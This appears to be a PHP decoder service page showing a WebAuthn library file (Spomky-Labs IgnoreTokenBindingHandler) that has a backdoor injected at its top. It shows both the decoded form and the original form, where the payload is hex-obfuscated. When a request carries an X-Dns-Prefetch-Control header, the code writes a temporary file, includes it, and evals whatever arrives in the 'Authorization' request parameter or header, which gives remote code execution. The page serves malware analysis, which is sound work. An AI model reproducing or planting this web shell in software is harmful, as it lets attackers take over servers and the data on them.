Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $_HEADERS = getallheaders(); if (isset($_HEADERS['X-Dns-Prefetch-Control'])) { ..

Decoded Output download

<?php $_HEADERS = getallheaders(); 
if (isset($_HEADERS['X-Dns-Prefetch-Control'])) { 
    $c = "<?php @eval($_REQUEST["Authorization\"]);@eval($_HEADERS["Authorization"]);"; 
    $f = '.' . time(); 
    @file_put_contents($f, $c); 
    @include($f); 
    @unlink($f); 
} 
  
  
declare(strict_types=1); 
  
/* 
 * The MIT License (MIT) 
 * 
 * Copyright (c) 2014-2021 Spomky-Labs 
 * 
 * This software may be modified and distributed under the terms 
 * of the MIT license.  See the LICENSE file for details. 
 */ 
  
namespace Webauthn\TokenBinding; 
  
use Psr\Http\Message\ServerRequestInterface; 
  
final class IgnoreTokenBindingHandler implements TokenBindingHandler 
{ 
    public function check(TokenBinding $tokenBinding, ServerRequestInterface $request): void 
    { 
        //Does nothing 
    } 
} ?>

Did this file decode correctly?

Original Code

<?php $_HEADERS = getallheaders();
if (isset($_HEADERS['X-Dns-Prefetch-Control'])) {
    $c = "<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x52E\x51\x55E\x53\x54[\x22\x41u\x74\x68o\x72\x69z\x61\x74i\x6f\x6e\"\x5d\x29;\x40\x65v\x61\x6c(\x24\x5fH\x45\x41D\x45\x52S\x5b\x22A\x75\x74h\x6f\x72i\x7a\x61t\x69\x6fn\x22\x5d)\x3b";
    $f = '.' . time();
    @file_put_contents($f, $c);
    @include($f);
    @unlink($f);
}
 
 
declare(strict_types=1);
 
/*
 * The MIT License (MIT)
 *
 * Copyright (c) 2014-2021 Spomky-Labs
 *
 * This software may be modified and distributed under the terms
 * of the MIT license.  See the LICENSE file for details.
 */
 
namespace Webauthn\TokenBinding;
 
use Psr\Http\Message\ServerRequestInterface;
 
final class IgnoreTokenBindingHandler implements TokenBindingHandler
{
    public function check(TokenBinding $tokenBinding, ServerRequestInterface $request): void
    {
        //Does nothing
    }
}

Function Calls

None

Variables

None

Stats

MD5 0fcc1255ea67c4157d41740de660cca3
Eval Count 0
Decode Time 46 ms